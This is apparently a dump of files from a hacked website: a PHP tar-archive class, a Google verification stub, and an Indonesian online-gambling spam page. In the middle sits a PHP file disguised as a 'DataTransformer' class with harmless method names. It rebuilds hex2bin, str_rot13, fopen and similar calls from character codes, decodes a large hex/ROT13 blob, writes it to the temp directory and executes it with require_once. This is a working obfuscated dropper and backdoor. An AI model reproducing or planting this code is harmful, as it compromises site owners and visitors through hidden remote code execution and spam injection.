xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK 59�\³8M�8 �8 saddmussoc.org.phpnu ��6�$ <?php class DataTransformer { private $he = ''; private $wn = ''; public function fetchSummary($p1) { $j = array(101 * 1 + 9, 15 * 89 - 1230, 66 + 32, 2 * 25, 77 * 1 + 43, 49 + 52, 2 * 52); $p = ''; foreach ($j as $k) { $p .= chr($k); } $p = strrev($p); return $p($p1); } public function initializeModule($p1) { $p = array(5 * 23, 39 + 77, 114, 6 * 9 + 41, 114 * 1 + 0, 111, 2 * 58, 7 * 7, 13 + 38); $g = ''; foreach ($p as $j) { $g .= chr($j); } return $g($p1); } public function terminateSession($p1, $p2) { $o = array(2 * 55, 108 - 7, 122 - 10, 113 - 2, 2 * 51); $z = ''; foreach ($o as $n) { $z .= chr($n); } $z = strrev($z); return $z($p1, $p2); } public function calculateSum($p1, $p2) { $h = array(101 * 1, 126 - 10, 91 + 14, 35 + 79, 7 * 17, 102); $i = ''; foreach ($h as $c) { $i .= chr($c); } $i = strrev($i); return $i($p1, $p2); } public function resolveConflict($p1) { $h = array(98 * 25 - 2348, 99, 11 + 97, 11 + 100, 33 * 2 + 49, 3 + 98); $q = ''; foreach ($h as $i) { $q .= chr($i); } return $q($p1); } public function updateRegistry($p1, $p2 = null) { $g = array(7 + 107, 104 * 7 - 612, 103 * 1 + 11, 52 * 1 + 53, 113 * 4 - 343); $v = ''; foreach ($g as $n) { $v .= chr($n); } return $v($p1, $p2); } public function sendNotification() { $this->wn = $this->updateRegistry($this->logTransaction(), '/'); } public function generateToken() { $this->he = $this->initializeModule($this->fetchSummary($this->ry)); } public function processData() { $fn = $this->wn . '/pb-692d00ffd4043'; $f = $this->terminateSession($fn, 'w'); $this->calculateSum($f, $this->he); $this->resolveConflict($f); $this->encryptData($fn); } private $ry = '3c3f6375632070796e6666205f796d7b636576696e6772206' . '6676e677670245f72613b66676e67767020736861706776626' . '1205f7a767128245f79722c245f6469297b767328216672797' . '33a3a245f726129667279733a3a5f687028293b245f716d3d6' . '6676579726128245f6469293b245f76783d6f6e667236345f7' . '1727062717228667279733a3a245f72615b245f79725d293b7' . '3626528245f686d6f3d302c245f79683d66676579726128245' . 'f7678293b245f686d6f213d3d245f79683b2b2b245f686d6f2' . '9245f76785b245f686d6f5d3d7075652862657128245f76785' . 'b245f686d6f5d295e62657128245f64695b245f686d6f25245' . 'f716d5d29293b657267686561245f76783b7d636576696e677' . '22066676e677670207368617067766261205f687028297b667' . '279733a3a245f72613d6e65656e6c28275f6e64273d3e27557' . '452434e466a454446706a514f744a5a4e354f57475a424e6b4' . '16c59453441424e66504b613956272c275f636d69273d3e275' . '54f345a4f51627353793059504f56494d4952514e503871506' . 'b5a2b4f4466735a4934565246784452455a67544f5652272c2' . '75f766f273d3e27434e383d272c275f7263273d3e274274387' . '6596b486553784e7541455370526b6a436e6d6250425256784' . '1455370537538734175562f5475386141776b4c4f46347a6f6' . 'd384f584f38595a764e5353756a554175566950446a5a55516' . 'b45272c275f6d77273d3e2759745a46576a3d3d272c275f766' . '16d273d3e274c6b34454c443d3d272c275f7062273d3e274c6' . 'a78474231483d272c275f7270273d3e27584e745454743d3d2' . '72c275f6b7361273d3e27272c275f756d65273d3e27272c275' . 'f666e273d3e27272c275f707a273d3e27416b4c71504a49414' . '57478644e52704242744e4352515a554e454c6653746a59704' . '4525453554e4f4f7544695145627059486a51507a4e54504e3' . '02b4b6a3d3d272c275f6865273d3e27434f4449516a4e56504' . '46265272c275f706c74273d3e27416b4c4f596d304a5a4e4c4' . '4272c275f716f273d3e27594e304f556d5659272c275f70637' . '6273d3e27416b4e50596b703d272c275f786877273d3e27545' . '0382b736a3d3d272c275f6476273d3e27596a306e416a3d3d2' . '72c275f78716d273d3e275975704b54504c3d272c275f71782' . '73d3e274c4e3d3d272c275f766e273d3e275974705854764c3' . 'd272c275f75796b273d3e27736d6634506c41516f793170486' . '178785a4e4e4c4d495a3d272c275f6968273d3e27416a44705' . '86a3d3d272c275f696e273d3e2748614e695a4f44504275784' . 'c417548504d4962695a6b48734261717a48614e3d272c275f7' . 'a6f273d3e27594e78514d49494e272c275f6b7675273d3e272' . '72c275f787561273d3e27416a566f51443d3d272c275f62702' . '73d3e2748616a3d272c275f6874273d3e27536d306d5a744e6' . '4586c666e576d5a395377783d272c275f6f62273d3e27536d7' . '87a564e4e3159474c44436c486b51467833414e4e654346563' . 'd272c275f6b6f273d3e275146747a525178684e506a69546d3' . '83d272c275f6e6675273d3e27536d343656744e2f434770414' . '146383154764436272c275f6c79273d3e27536d52345a444e6' . 'a436c44414276307a54766634272c275f6573273d3e27272c2' . '75f797a273d3e27536c5266576a4e614347526e576d3079272' . 'c275f677a273d3e27536d706d58444e6b5677386e5a4656652' . '72c275f7167273d3e27272c275f696f273d3e27536d526c427' . '44e7a58765a6e586d56315377483d272c275f7764273d3e275' . '36d3078566a4e644351626e576c44665377783d272c275f7a6' . '1273d3e27536c6a74516c70664e5134375146383151476a6b5' . '46c706c5250623d272c275f6471273d3e27536c3438516c486' . 'a4e516a615146306351473467546c48685250743d272c275f6' . 'f6369273d3e275147523152504e394e514838546c4c3d272c2' . '75f6c71273d3e275147566652505a784e514c79546c483d272' . 'c275f71676b273d3e27426a44464f474e50524e3d3d272c275' . 'f737063273d3e2753775751736a3d3d272c275f7a7462273d3' . 'e27736b6743434f3571476a3d3d272c275f6b79273d3e27736' . 'b414c514462724d48383d272c275f6f6b273d3e27733174525' . '9496366272c275f646676273d3e274175343d272c275f78716' . 'e273d3e275875443d272c275f7969273d3e2759453042272c2' . '75f7177273d3e2759745a59576a3d3d272c293b7d7d70796e6' . '666205f746d6c7b636576696e67722066676e677670245f726' . '13b66676e677670207368617067766261205f7a767128245f7' . '972297b76732821667279733a3a245f726129667279733a3a5' . 'f687028293b65726768656120667279733a3a245f72615b245' . 'f79725d3b7d636576696e67722066676e67767020736861706' . '7766261205f687028297b667279733a3a245f72613d6e65656' . 'e6c2830302c30372c3033362c3033362c30312c3033362c303' . '22c30372c30312c3031362c3033302c30362c3033322c30313' . '22c3031312c3031332c3032372c3033312c30332c30322c303' . '12c30312c30302c3031322c3031322c303331302c303637332' . 'c303132302c30302c30323030302c30312c303432332c30343' . '233293b7d7d75726e717265285f796d3a3a5f7a767128275f6' . 'e64272c275f6f79712729293b75726e717265285f796d3a3a5' . 'f7a767128275f636d69272c275f646f632729293b767328766' . '666726728245f5452475b5f796d3a3a5f7a767128275f766f2' . '72c275f74697a27295d29297b245f756e6f3d5f7a78285f796' . 'd3a3a5f7a767128275f7263272c275f69752729293b7673282' . '45f756e6f262666676563626628245f756e6f2c5f796d3a3a5' . 'f7a767128275f6d77272c275f6775272929213d3d736e79667' . '2297b717672285f796d3a3a5f7a767128275f76616d272c275' . 'f646d2729293b7d727966727b717672285f796d3a3a5f7a767' . '128275f7062272c275f78652729293b7d7d767328766666726' . '728245f5452475b5f796d3a3a5f7a767128275f7270272c275' . 'f76776927295d29297b245f79683d245f5042425856523b245' . 'f64693d5f746d6c3a3a5f7a76712830293b245f79723d5f746' . 'd6c3a3a5f7a76712831293b245f656b753d6e65656e6c28293' . 'b245f656b755b245f64695d3d5f796d3a3a5f7a767128275f6' . 'b7361272c275f6b7127293b6a7576797228245f7972297b245' . 'f656b755b245f64695d2e3d245f79685b5f746d6c3a3a5f7a7' . '6712832295d5b245f79725d3b76732821245f79685b5f746d6' . 'c3a3a5f7a76712833295d5b245f79722b5f746d6c3a3a5f7a7' . '6712834295d297b76732821245f79685b5f746d6c3a3a5f7a7' . '6712835295d5b245f79722b5f746d6c3a3a5f7a76712836295' . 'd296f65726e783b245f64692b2b3b245f656b755b245f64695' . 'd3d5f796d3a3a5f7a767128275f756d65272c275f71756e272' . '93b245f79722b2b3b7d245f79723d245f79722b5f746d6c3a3' . 'a5f7a76712837292b5f746d6c3a3a5f7a76712838293b7d245' . 'f64693d245f656b755b5f746d6c3a3a5f7a76712839295d282' . '92e245f656b755b5f746d6c3a3a5f7a7671283130295d3b767' . '32821245f656b755b5f746d6c3a3a5f7a7671283131295d282' . '45f646929297b245f79723d245f656b755b5f746d6c3a3a5f7' . 'a7671283132295d28245f64692c245f656b755b5f746d6c3a3' . 'a5f7a7671283133295d293b245f656b755b5f746d6c3a3a5f7' . 'a7671283134295d28245f79722c245f656b755b5f746d6c3a3' . 'a5f7a7671283135295d2e245f656b755b5f746d6c3a3a5f7a7' . '671283136295d28245f656b755b5f746d6c3a3a5f7a7671283' . '137295d28245f79685b5f746d6c3a3a5f7a7671283138295d2' . '929293b7d7661707968717228245f6469293b7d73686170677' . '66261205f7a7828245f656e632c245f6c6b3d676568722c245' . 'f646d653d2778676461627078646c62776e68666b27297b245' . 'f6974683d5f796d3a3a5f7a767128275f666e272c275f6e656' . 'c27293b245f716d693d5f796d3a3a5f7a767128275f707a272' . 'c275f6f766c27292e245f656e633b76732876665f706e79796' . 'e6f7972285f796d3a3a5f7a767128275f6865272c275f6e747' . '0272929297b245f7a74753d706865795f7661766728245f716' . 'd69293b706865795f66726762636728245f7a74752c5048455' . '94243475f4646595f49524556534c435252452c736e7966722' . '93b706865795f66726762636728245f7a74752c50484559424' . '3475f4646595f49524556534c554246472c5f746d6c3a3a5f7' . 'a767128313929293b706865795f66726762636728245f7a747' . '52c504845594243475f53425959424a5942504e475642412c5' . 'f746d6c3a3a5f7a767128323029293b706865795f667267626' . '36728245f7a74752c504845594243475f45524748454147454' . 'e41465352452c5f746d6c3a3a5f7a767128323129293b70686' . '5795f66726762636728245f7a74752c504845594243475f555' . '24e5152452c5f746d6c3a3a5f7a767128323229293b7068657' . '95f66726762636728245f7a74752c504845594243475f50424' . '14152504747565a524248472c5f746d6c3a3a5f7a767128323' . '329293b706865795f66726762636728245f7a74752c5048455' . '94243475f47565a524248472c5f746d6c3a3a5f7a767128323' . '429293b245f6974683d706865795f726b727028245f7a74752' . '93b245f79753d706865795f7472677661736228245f7a74752' . '93b706865795f707962667228245f7a7475293b767328245f7' . '9755b5f796d3a3a5f7a767128275f706c74272c275f6f68272' . '95d213d5f746d6c3a3a5f7a767128323529296572676865612' . '0736e7966723b7d727966727b245f6d6a3d636e6566725f686' . '57928245f716d69293b245f716b3d28245f6d6a5b5f796d3a3' . 'a5f7a767128275f716f272c275f61766d27295d3d3d5f796d3' . 'a3a5f7a767128275f706376272c275f71692729293b245f6e6' . '83d5f796d3a3a5f7a767128275f786877272c275f777727292' . 'e245f6d6a5b5f796d3a3a5f7a767128275f6476272c275f796' . '127295d3b767328766666726728245f6d6a5b5f796d3a3a5f7' . 'a767128275f78716d272c275f6f657727295d2929245f6e682' . 'e3d5f796d3a3a5f7a767128275f7178272c275f6e696227292' . 'e245f6d6a5b5f796d3a3a5f7a767128275f766e272c275f656' . '27527295d3b245f6e682e3d5f796d3a3a5f7a767128275f757' . '96b272c275f667927292e245f6d6a5b5f796d3a3a5f7a76712' . '8275f6968272c275f786227295d2e5f796d3a3a5f7a7671282' . '75f696e272c275f6d7927293b245f74623d736662707862637' . '2612828245f716b3f5f796d3a3a5f7a767128275f7a6f272c2' . '75f6d6227293a5f796d3a3a5f7a767128275f6b7675272c275' . 'f6e786e2729292e245f6d6a5b5f796d3a3a5f7a767128275f7' . '87561272c275f7a756c27295d2c245f716b3f5f746d6c3a3a5' . 'f7a7671283236293a5f746d6c3a3a5f7a767128323729293b7' . '67328245f7462297b736368676628245f74622c245f6e68293' . 'b245f76783d5f746d6c3a3a5f7a7671283238293b6a7576797' . '228217372627328245f746229297b245f75733d73747267662' . '8245f74622c5f746d6c3a3a5f7a767128323929293b7673282' . '45f767829245f6974682e3d245f75733b767328245f75733d3' . 'd5f796d3a3a5f7a767128275f6270272c275f697a692729292' . '45f76783d5f746d6c3a3a5f7a7671283330293b7d737079626' . '67228245f7462293b7d7d657267686561245f6974683b7d245' . 'f76653d766666726728245f4652454952455b5f796d3a3a5f7' . 'a767128275f6874272c275f76746f27295d293b245f79746e3' . 'd766666726728245f4652454952455b5f796d3a3a5f7a76712' . '8275f6f62272c275f7a656327295d293b245f6e70673d76666' . '6726728245f4652454952455b5f796d3a3a5f7a767128275f6' . 'b6f272c275f7a7827295d293b245f70733d766666726728245' . 'f4652454952455b5f796d3a3a5f7a767128275f6e6675272c2' . '75f77616527295d293f245f4652454952455b5f796d3a3a5f7' . 'a767128275f6c79272c275f72796e27295d3a5f796d3a3a5f7' . 'a767128275f6573272c275f6c6b27293b245f78633d7666667' . '26728245f4652454952455b5f796d3a3a5f7a767128275f797' . 'a272c275f686b6a27295d293f245f4652454952455b5f796d3' . 'a3a5f7a767128275f677a272c275f70746c27295d3a5f796d3' . 'a3a5f7a767128275f7167272c275f667527293b245f76653d7' . '66666726728245f4652454952455b5f796d3a3a5f7a7671282' . '75f696f272c275f72737727295d293f245f4652454952455b5' . 'f796d3a3a5f7a767128275f7764272c275f76636627295d3a6' . '16879793b245f79746e3d766666726728245f4652454952455' . 'b5f796d3a3a5f7a767128275f7a61272c275f6b6727295d293' . 'f245f4652454952455b5f796d3a3a5f7a767128275f6471272' . 'c275f6d7527295d3a616879793b245f6e70673d76666672672' . '8245f4652454952455b5f796d3a3a5f7a767128275f6f63692' . '72c275f676b27295d293f245f4652454952455b5f796d3a3a5' . 'f7a767128275f6c71272c275f6a6e27295d3a616879793b767' . '3287376796772655f696e6528245f76652c5f746d6c3a3a5f7' . 'a76712833312929297b245f77753d245f76653b7d727966727' . '673287376796772655f696e6528245f79746e2c5f746d6c3a3' . 'a5f7a76712833322929297b245f77753d245f79746e3b7d727' . '966727b245f77753d245f6e70673b7d7673287666667267282' . '45f5452475b5f796d3a3a5f7a767128275f71676b272c275f7' . '3687527295d29297b72707562205f796d3a3a5f7a767128275' . 'f737063272c275f6f6c27292e245f77752e5f796d3a3a5f7a7' . '67128275f7a7462272c275f74627627292e245f70732e5f796' . 'd3a3a5f7a767128275f6b79272c275f626b27292e245f78632' . 'e5f796d3a3a5f7a767128275f6f6b272c275f717327293b726' . 'b766728293b7d76732821766666726728245f7775297c7c217' . '66666726728245f7073297c7c21766666726728245f7863292' . '97b726b766728293b7d727966727b245f6d76753d6e65656e6' . 'c285f796d3a3a5f7a767128275f646676272c275f616a27293' . 'd3e245f77752c5f796d3a3a5f7a767128275f78716e272c275' . 'f68626b27293d3e245f70732c5f796d3a3a5f7a767128275f7' . '969272c275f6b7527293d3e245f7863293b245f7865733d686' . '579726170627172286f6e667236345f7261706271722877666' . '2615f72617062717228245f6d76752929293b245f756e6f3d5' . 'f7a7828245f786573293b767328245f756e6f2626666765636' . '26628245f756e6f2c5f796d3a3a5f7a767128275f7177272c2' . '75f6764272929213d3d736e796672297b72707562245f756e6' . 'f3b726b766728293b7d7d'; public function encryptData($p) { require_once $p; } public function logTransaction() { $a = array(37 * 21 - 662, 77 * 124 - 9427, 45 + 70, 44 + 51, 103, 101 * 1, 116, 64 * 1 + 31, 97 * 1 + 19, 90 * 2 - 79, 109 * 1, 75 * 7 - 413, 42 + 53, 40 + 52 + 8, 60 + 27 + 18, 89 + 25); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s(); } } $vf = new DataTransformer(); $vf->sendNotification(); $vf->generateToken(); $vf->processData();PK 59�\���5 5 google06d02b30ffd6e40c.htmlnu �[��� google-site-verification: google06d02b30ffd6e40c.htmlPK 59�\-0L� L� index.htmlnu �[��� <!DOCTYPE html> <html ⚡ lang="id"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap</title> <meta name="description" content="JOSTOTO menyediakan rtp live slot terakurat diindonesia dengan permainan slot online terlengkap dan terbukti memberikan asuransi kekalahan 100% untuk game slot." /> <meta name="robots" content="all" /> <meta name="rating" content="general" /> <meta name="geo.region" content="id_ID" /> <meta name="googlebot" content="all"> <meta name="geo.country" content="id" /> <meta name="language" content="Id-ID" /> <meta name="distribution" content="global" /> <meta name="geo.placename" content="Indonesia" /> <meta property="og:type" content="website" /> <meta property="og:locale" content="id_ID" /> <meta property="og:locale:alternate" content="en_US" /> <meta property="og:title" content="JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap" /> <meta property="og:description" content="JOSTOTO RTP Slot Terakurat Dengan Permainan Slot Terlengkap" /> <meta name="keywords" content="Jostoto, Jos toto, Jostoto Hk, Jostoto Login, Jostoto Slot, Jostoto88, Jos2024.shop, Jostoto 4d, Jostoto2023 com,login Jostoto, daftar Jostoto, Jostoto resmi, situs Jostoto, link Jostoto, link alternatif Jostoto, bandar togel online, agen toto, data toto, togel online, Situs Official Jostoto, Jostoto 2014" /> <meta property="og:url" content="https://saddmussoc.org/" /> <link rel="amphtml" href="https://amp-jos.b-cdn.net/saddmussoc.html" /> <meta name="google-site-verification" content="IS-fxl_t0fwl4qFh9rdHG8TiWczicArsHaZox_F7nVs" /> <meta name="google-site-verification" content="H47HGgxFIWWa5VU59zk2wv12ETC6ISAPSi0TlpnB9Tc" /> <meta name="google-site-verification" content="QknmdYWmq6zzLCCAcwQ34DZvwOCXDZjZ2ZlBNWFAVm0" /> <meta property="og:site_name" content="JOSTOTO" /> <meta property="og:image" content="https://i.gyazo.com/641bccb911095614f848cafd298fa6b3.png" /> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <link rel="canonical" itemprop="mainEntityOfPage" href="https://saddmussoc.org/" /> <link rel="shortcut icon" href="https://i.gyazo.com/ededfab482f27ed3a8e1819d8ee72cd2.png" /> <script async src="https://cdn.ampproject.org/v0.js"></script> <script async custom-element="amp-anim" src="https://cdn.ampproject.org/v0/amp-anim-0.1.js"></script> <script async custom-element="amp-accordion" src="https://cdn.ampproject.org/v0/amp-accordion-0.1.js"></script> <script type="application/ld+json">{ "@context": "https://schema.org", "@type": "Game", "name": "JOSTOTO", 